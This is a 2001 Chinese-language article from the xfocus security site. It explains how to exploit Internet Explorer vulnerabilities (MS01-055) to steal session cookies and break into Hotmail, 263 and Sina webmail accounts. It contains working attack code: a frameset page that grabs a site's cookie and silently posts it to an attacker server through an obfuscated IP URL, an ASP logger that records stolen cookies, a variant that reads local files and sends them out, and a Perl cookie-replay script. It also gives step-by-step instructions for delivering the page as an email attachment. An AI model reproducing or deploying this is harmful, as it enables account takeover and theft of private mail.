xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
添加文章 English Version

关于IE的漏洞与其利用的问题(WEB mail信箱的破解方法)


创建时间:2001-12-30
文章属性:原创
文章提交:alexe (flea4_at_263.net)

关于IE的漏洞与其利用的问题(WEB mail信箱的破解方法)
其实ie的这些漏洞早已经放出来了,只是我也是实在是懒得写这么一篇文章。今天虽然在上班,但闲得无聊还是把他写出来以供大家参考吧,也不枉我测试了那么多时间。
Ie的漏洞就是:一个恶意的请求可以导致ie存储的cookie的泄漏,关于这个漏洞的详细介绍请看:http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/MS01-055.asp
这里面提到了三个漏洞,在我的应用里主要用到了第一和第三个漏洞。请大家注意,这个漏洞主要针对ie5.5和ie6.0,对于ie5.01,ie4.0等老一些的版本都不起作用。不过对于这些老版本也有对应之法只是相比之下有些麻烦所以最后再来介绍。:)
看了上面微软的介绍大家知道如果给让ie浏览器请求:about://xxx.com/<script language=JavaScript>alert(document.cookie);</script>Ie将把xxx.com的cookie取出来,这样就会导致构造一个特殊的叶面从而将这个提出来的cookie发送出去,如果xxx.com的站点使用cookie来作为验证方式,那得到这个cookie就相当于得到了对方的账号与密码,通过该cookie就可以直接以对方账号访问该站点,甚至于找到对方的账号与密码。
实例:首先让对方看的叶面read6.htm
<html>
<frameset rows="1,*" frameborder="NO" border="0" framespacing="0">
  <frame name="topFrame" scrolling="NO" noresize src="about://xxx.com
<FORM name='f1' METHOD=post ACTION='http://me.com/readcookie.asp'>
  <input name='h1' type='hidden'>
  </FORM>
<script language=JavaScript>
cookie=(document.cookie);
  document.f1.h1.value=cookie;  
  if (!cookie)
  {document.f1.h1.value='null cookie';}
  document.f1.submit();
</script>
  ">
  <frame name="mainFrame" src="1.htm">
</frameset>
<noframes>
<body bgcolor="#FFFFFF" text="#000000">
</body>
</noframes>
</html>
该叶面建了两个frame,上面的frame将对方xxx.com站点的cookie读出并通过一个javascript发送到me.com的readcookie.asp,然后readcookie.asp则负责把提交过来的cookie记录到me.com的机器上的cookie.txt文件里面,并返回下面frame的叶面1.htm,这样就可以不让人察觉到中间有提交的过程,并且最后看该叶面就都是一个叶面1.htm除非它将该叶面另存为以后再察看原码,也只能看到两个frame都是请求一个叶面。在这里还有一点需要注意就是应该将ACTION='http://me.com/readcookie.asp里面me.com用ip地址来替换,并且该ip地址要进行换算,如真实ip:4x.3x.2x.1x=1x+2x*256+3x*65536+4x*65536*256=convertedip,然后在这个值前面加上alexe%40的字符串,最后也就是http://alexe%40convertedip /readcookie.asp。
在这里为什么要如此麻烦呢?就是为了让人察觉不到中间的提交,这样的转换利用了上面微软的第三条漏洞,也就是发送转换过的ip可以令ie的安全级别降到本地状态,这样当我们最后再要让readcookie.asp返回到1.htm时就不会出现提示说你正在提交信息,从而可以悄悄的将cookie弄到手。:)而且当对方的叶面返回到1.htm时,ie的安全级别也会自动回升到默认的状态,不容易留下什么痕迹。还有这里利用frame的目的不仅是掩人耳目,而且还可以保证frame里面的javascript可以顺利执行,即使对方将ie的安全级别设为最高将java小程序的执行禁止,在frame里面一样可以执行。(这个漏洞我还没在微软的声明里找到好象以前看到过,这次是蒙上了)
Readcookie.asp:
<html>
<body bgcolor="#FFFFFF" text="#000000">
<%
b=request.form("h1")
str=server.mappath("cookie.txt")
set fso=Server.CreateObject("Scripting.FileSystemObject")
set ts=fso.openTextFile(str,8,true,0)
ts.WriteLine b
ts.WriteLine now()
ts.writeline "--==A Person End Read==--"
ts.Close
%>
<SCRIPT LANGUAGE="JavaScript">
<!--
setTimeout("location.href='http://me.com/ls/1.htm';",10)
//-->
</SCRIPT>
</body>
</html>
readcookie.asp文件只能在iis5.0以上版本运行。
总之,现在你可以获得对方xxx.com站点的cookie了。接下来就是你如何构造一个1.htm来让人看了,这个叶面最好是比较吸引人一些了。
而你呢,就可以去me.com察看cookie.txt文件,里面就记录了对方的xxx.com站点的cookie。如果你在cookie.txt看到nullcookie的字样,说明他没有该站点的cookie或是他用的浏览器不是ie5.5或6.0。
在这里再说一下ie的缺省安装,在win98的第2版里缺省装的是ie5.01,win2000里面也是。
Ie5.5 and 6.0都是自己升级的。Ie5.5即使有pack2也没用。
这样很令人遗憾,对于缺省安装的机器这个方法都不会奏效。但是别急,其实对于缺省的安装有更为令人可怕的漏洞,那就是你可以读取对方机器上的任意文件。
这个的原理不是很一样但做的方法却是很像,就是通过构造一个特殊的叶面来将对方机器上的文件提交到你的机器上来。不过这对于cookie的提取就不是那么方便了,你要知道对方存放cookie的具体位置,由于安装的原因,这个cookie存放位置就会有很多会在c盘d盘…..而且由于操作系统的不同位置也会不同,这就需要你做一个页面来先识别对方的操作系统是2000还是98,然后就去搜索c,d,e等盘的相应cookie存放位置,来将他取出并提交。
这里我没有写全整个的叶面,只是写了个识别ie版本的叶面,原理都是相同的以供参考。
<BODY>
<SCRIPT LANGUAGE="JavaScript">
<!--
if (navigator.appName.indexOf("Microsoft")!=-1)
{
if (navigator.appVersion.indexOf("MSIE 4.0")!=-1)
{setTimeout('location.href="r5.html"',10);}
if (navigator.appVersion.indexOf("MSIE 5.0")!=-1)
{setTimeout('location.href="r5.html"',10);}
if (navigator.appVersion.indexOf("MSIE 5.5")!=-1)
{setTimeout('location.href="read6.htm"',10);}
if (navigator.appVersion.indexOf("MSIE 6.0")!=-1)
{setTimeout('location.href="read6.htm"',10);}
}
//
//-->
</SCRIPT>
</BODY>
r5.html:
<html>
<frameset rows="1,*" frameborder="NO" border="0" framespacing="0">
  <frame name="topFrame" scrolling="NO" noresize src="about://xxx.com
<FORM name='f1' METHOD=post ACTION='http://waei%403232237736/readcookie.asp'>
  <input name='h1' type='hidden' value=’null’s>
  </FORM>
  <script>
  a=GetObject('c:\\autoexec.bat','htmlfile');
  document.f1.h1.value="can't find file";
  if (a)
  { setTimeout('document.f1.h1.value=a.body.innerText;',10);
  }
  setTimeout('document.f1.submit();',10)
    </script>
  ">
  <frame name="mainFrame" src="1.htm">
</frameset>
<noframes>
<body bgcolor="#FFFFFF" text="#000000">
</body>
</noframes>
</html>
在这里我们用read5.html读的是c:\autoexec.bat文件里面的内容。
总之,只要你确实想,那你就可以读出对方的任意的cookie,不管对方是使用的什么版本的ie。
既然我们已经可以将对方机器上的cookie读出,那么下面的问题就是如何利用读出来的cookie了。
在这里我只讲关于mail的应用,其他请大家自己琢磨。因为在网上用cookie来鉴别身份的程序有很多。
首先我想说的就是htomail,这个微软自己开发的mail系统。
很早以前,网上就有传言,说是这个mail系统怎么怎么的漏洞多多,但经过了微软的不停的修补,这个系统也渐渐稳定了,而且由于微软的passport,所以这个系统的账号也就是你个人所有在支持passport站点的通用账号,这当然少了个人的很多麻烦,但一旦这个帐号丢失,也将导致很大的损失,比如信用卡的信息泄漏等
这里先不提这些了。
Hotmail是通过什么来验证你维持你的连接呢?
当你在对话框中输入账号和密码提交以后ie会将你的账号和密码通过SSL加密的方式发送出去以免中途有人偷听,当通过服务器端认证以后服务器将返回一个叶面并设置cookie以让你可以保持连接,这个cookie并不是存在你的硬盘上,而是存储在你的这个ie窗口中,也就是说当你的这个ie窗口关闭的时候该cookie也会随之消失,你再打开一个新的窗口也必须从新输入你的账号和密码从新验证。
Hotmail在ie中设置的cookie的格式:
Cookie:
HMP1=1; HMSC0899=aaa%40msn%2ecom0%2alLPCFdFfUaf2beLyfB40lIKfSBCheu2VPo2dJQfqOXGx7O5ADxsD%2atMRzErbdnVh5%21QhPaM9rrIfh5fFN%2aM0wupik9%2aClHNA71qgpuwB7jnOlBPmiPvjh0fcUAWzmHKkHPbXlrIVvt2zpva9hR%2a0lSZWURAFB3cHL9A40uZfoLt%21py1V6HGAkjSSMZ7rxqJ6foXUOMG%2ah4Tyk%2atqdQBvrRoGYHl7RhcTdleAbYQWLhhue5Mi5eN%21bjScblgj19uggD6SuE6qd1zQngvazRGiFgTUW%2amrRKthgu2N5OVO6qHExErju4Hg%24%24;
lang=zh-cn;
MC1=V=2&GUID=fd8b9c039e4e44d6bc748c3a2f0cb4c6;
mh=MSFT;
Cn=1; MSPAuth=23t0NEUhgD%2a8IRVziUAfT9uitEE%21Jg94gRX78p3n4RCu1HS9hsie42FL2hwIzF6L65Nz1CCyGNStWCu8N8mnNHuQ%24%24; MSPProf=23t0NhUxgEAYqQ8yGLwktW9Pl5F3n6jINLtJmJGdKHhAhprnXlbZau020%21HWooeCTJCwsYMKlIwdn7Ihc1WDcc9573dmIvd1H2gkB8qtC%2arzq8X%21%21ZvVyMau6rj%2aLnzTx069qAg0vqD6H6snEDoiw6cmxhczIrcbLG3iuufBxXP1E%24
在这里面只有MSPAuth与MSPProf的值有用。MSPAuth的有98位,MSPProf有186位(而且每次你登陆的时候返回的长度都不相同)。这都是通过一定的算法来实现的,每次你提交账号都会得到一个不同的MSPAuth与MSPProf值,但这些值都可以通过一定的运算来识别你。由于微软经常对hotmail进行升级,原来我测试的时候MSPAuth与MSPProf的值还是固定的长度,没过一个月,现在就已经改成了变长的值了。而且hotmail有一个会话期限的设置,它可以设置到几个小时后提前结束会话,这时你抓来的cookie就会在他登陆时间超过会话期限时失效了。但是缺省设置是无,也就是不会失效也可能是过了一两天后才失效,反正时间很长。(hotmail的设置还是蛮多的)
现在你就可以用cookie值:MSPAuth与MSPProf的值访问http://pv0fd.pav0.hotmail.msn.com/cgi-bin/HoTMaiL?curmbox=F000000001&a=bee04c53d24d6db3fc968a8dadf086be&fti=信箱。在这里,a后面的值只是一个虚值没什么用,可以随便写,只要你写够位数,HoTMaiL?curmbox=F000000001代表你的收件箱,hmhome?curmbox=F000000001代表你的msn的主页,http://pv0fd.pav0.hotmail.msn.com 代表msn的邮件也就是@msn.com的邮件,而hotmail的邮件为http://sea1fd.sea1.hotmail.msn.com也就是@hotmail.com的邮件。msn与hotmail的原理都一样。那现在你需要做的就是给对方的邮箱发一封信,信的里面加入一个附件就是上面的read6.htm这个文件,将这文件里面的about://xxx.com改成about://pv0fd.pav0.hotmail.msn.com/就可以了,然后你需要做的就是等待他去用web读邮件并访问那个附件了。在这里用附件也是不得以,因为hotmail将邮件里的任何可能的恶意程序都过滤掉了,当用附件的时候,hotmail会打开一个新的窗口,而这个窗口恰巧继承了上一个窗口的cookie,而由于附件是一个html文件,所以ie将它直接打开了而并不提示下载,:)(一切都太巧了)所以我们的偷cookie程序就顺利执行了。然后你要做的就是用cookie来迅速进入对方的信箱来找到你想要看的东西。
在这里还要再说一下虽然你得到了hotmail的cookie,但是你不能通过反算来得到它的密码,而且想要从新设置密码也必须先输入原来的密码才可以。
在这里再说一点,msn的邮箱应该是与hotmail相同的,但msn很怪,在msn的选项里面没有从新设置密码等好几个应该有的选项,不知为何?
说完了国外的mail,我们再来比较一下国内的mail。
Freemail.263.net,国内知名的邮箱。该邮箱我相信使用的人数在国内应该是数一数二的。从我的观察来看263的免费邮箱一共使用了6台服务器分别使用202.96.44.11,202.96.44.13,202.96.44.14,202.96.44.16,202.96.44.17,202.96.44.18的ip地址。通过每次dns解析的不同来实现服务器之间的负载均衡。这些服务器可能是调度某个后台数据库服务器,来实现服务器之间的数据共享。
263的mail系统当你发送账号密码进行完验证后,他会在服务器端生成一个session来记录这次验证,并将你连接到http://202.96.44.14/cgi/ldapapp?funcid=main&sid=GArlFvLARnmAyPrB这样的一个地址上。在这里sid=GArlFvLARnmAyPrB,就是服务器端的那个session,这个session是随机的生成的并且以很快的速度不断刷新,在这个session里面第一个字母G代表你所访问的是那个服务器,在这里G就是202.96.44.14,依次202.96.44.11为E, 202.96.44.13为F, 202.96.44.16为P, 202.96.44.17为R,202.96.44.18为S。紧跟的A是一个分隔符,没有什么作用。RlFvLARnm就是那个滚动的SESSION的前一部分,接着又是一个A为分隔符,yPrB是那个SESSION的后一部分。整个的SESSION虽然有一定的规律但是服务器端不仅记录了这个SESSION而且也记录了请求该SESSION的IP地址,也就是说即使你通过方法得到了这个SESSION,去访问http://202.96.44.14/cgi/ldapapp?funcid=main&sid=GArlFvLARnmAyPrB,但由于你的IP不同,你一样无法访问。这个SESSION可以在服务器端保留大概30多分钟,过了这个时间你也必须从新登陆。这就和hotmail有所不同,hotmail不纪录ip,你只要有这个cookie,就可以访问,不管你的ip;hotmail纪录cookie的时间要比263纪录session的长很多,有充分的时间来进入到对方的信箱。
说到这里,我们再回来说一下263的弊端,也就是虽然我们不能通过获取这个session来获得信箱的访问权,但如果在内部局域网的环境中,如果大家都通过一个代理来访问263,那我只要在你看信箱的时候记录下这个连接地址sid=GArlFvLARnmAyPrB,然后就可以在自己的机器上欣赏你的信箱了。这对于现在的网吧环境还有城域网里大家都使用内部ip来上网的时候比较有效。而且对于在服务器端保留session会不会导致dos攻击呢?这个sessionj将要在服务器端保留30分钟,如果我在这30分钟里面不断得以同一个账号来登陆使服务器端生成大量的session从而占用过多的内存导致服务器停止相应?其实hotmail也同样存在保留cookie session的问题。据我推测他们都应该是有一台后台的数据库服务器来存放这些会话,而且在生成cookie的机器上这个会话也应该保留在内存中一定的时间,这样可以有很快的提取速度。当生成会话时,这个会话会保留在内存中并将一份备份复制到数据库服务器上,当要查找会话时先在内存中查找,找不到这个会话时他就会去查找后台的数据库服务器,这样可以容易的实现多台服务器之间的会话共享问题从而实现负载均衡。总之,他还是要在内存中保留一份的,只要这样如果大量的会话生成的话肯定要占用过多的内存从而导致服务相应变慢。具体的还是要实践来检验:)以上均为猜测。
最后要说的就是新浪的邮件服务器。
新浪的邮件服务器的原理和hotmail得差不多,但是保密性就是差一些。
首先它提交账号与密码时没用ssl加密,也就是说可以被人偷听。
而且当他提交成功以后,开始设置的cookie是存储在硬盘上的并不是存在浏览器中,虽然但你最后关掉邮箱的窗口时他会将存在硬盘上的cookie抹去,但还是有这么段时间cookie是可以直接被看到的。相比之下hotmail发送账号密码用的是SSL加密,Hotmail的会话是存在浏览器中,如果不是IE有漏洞,是绝对不会让你看到COOKIE值的。
新浪的邮件用http://mail.sina.com.cn/cgi-bin/mail.cgi?24357这个作为邮箱连接地址。mail.cgi?24357并没有什么实际的意义,可能代表你是多少号登陆的用户。只要有正确的cookie,就会返回一个叶面,是一个frame,然后你再用cookie去请求frame中的叶面就可以看到信箱了。
这个cookie的格式是:SM=SinaMail; ads=ABBHAJADACAC; sinatgt=p0:323d03867446c552032056000656656718c6d321,
crr:02,pos:06,sal:03,edu:04,sta:02,mar:Y,gen:M,age:43; userinfo_cookiecount=1; userinfo_logintime=1009678098; userinfo_channel=mail; userinfo_remoteaddr=62.143.6.156; SINA_USER=Biervfoa_uHmmZl5rGmaYqmxfofn_f0xcmo; SID=Biema_lcHrBvciHiGcm_YocfYcaGfcYioftmm_ncGflfo_mdxmflPZmrGrli_c5x/mrGY5xrrl;
这里面SINA_USER与SID为有用的值,也就是服务器端生成的session值,这个值也应该有过期的时间,不过这个时间好像也很长,至少有1个小时吧!最后要盗取他的cookie方法是和hotmail是相同的,就是发一封信,信里面有个附件就是read6.htm,只要他看了信中的附件就会把他当时的COOKIE记录下来,这时只要你及时用它的COOKIE来进入他的信箱就可以了。
OK,到这里也就基本上讲完了。对于WEB MAIL系统从以上来看,大家的原理都差不许多,都是要在服务器端生成session的,只是263没有用cookie只靠那个连接地址和浏览者的ip来验证,新浪是靠cookie来验证,hotmail也是靠cookie来验证,基本上也都很安全,国内的由于实际的关系没有采取像hotmail那样严密的防护措施,不过也能保证本身系统的安全。而hotmail的账号由于比较重要,所以也就不断更新系统不断采取新的加密手段。不过从ie能泄漏cookie的信息来看,hotmail是比较容易被攻击的,因为它的session时间最长,而且hotmail本身有一个杀毒的过滤,可以识别附件中文件是否有病毒,因此就会让使用者产生盲从,会轻易的打开附件,这样我们的程序就可以顺利地执行了。
哦,最后还要付一个perl的命令行浏览器小程序,就是当你取的cookie以后怎么去用cookie浏览信箱。因为ie里面cookie好像是有加密的,简单的添入站点的cookie值不会起作用。
Get.pl:
use LWP::UserAgent;
$hed=new HTTP::Headers(accept=>'text/plain',
                       cookie=>'SM=SinaMail; ads=ABBHAJADACAC; sinatgt=p0:323d03867366c552032022000656656718c6d321,crr:02,pos:04,sal:01,edu:03,sta:02,mar:Y,gen:M,age:22; userinfo_cookiecount=1; userinfo_logintime=1009678098; userinfo_channel=mail; userinfo_remoteaddr=63.143.4.156; SINA_USER=Bierrcoa_uHmmZl5rGmafqmxfofn_f0xcmo; SID=Biema_lcHfiBvciHiGcm_YocfYcaGfcYiofgmm_ncGflfo_mlxmflPZmrGrli_c5x/mrGY5xrrl; SM=SinaMail');
$url=new URI::URL('http://mail.sina.com.cn/cgi-bin/mail.cgi?');
$req=new HTTP::Request(GET,$url,$hed);
$ua=new LWP::UserAgent;
$resp=$ua->request($req);
if ($resp->is_success) {
    print $resp->content;
}
else {
    print $resp->message;
}
相信大家一定知道该如何去做了吧。
这个漏洞已经出来一段时间了,微软已经发布了补丁,大家可以去微软的网站上查找。总之,通过ie的这种漏洞,你就可以有目的去获得对方机器上某些文件以及对方的某些权力。
以上写的还有不足之处,特别是关于ie5.01及其以下版本的取得cookie及文件的方法没有很详细的写出来,而且对于ie5.01你就无法读取hotmail的cookie因为hotmail的cookie是存储在ie的窗口中的,ie5.01的漏洞只能读机器上的文件,而ie5.01就可以读到sina的cookie,因为那是sina的cookie是存储在硬盘上的。这就需要大家自己去试验吧!
2001-12-30
alexe/:)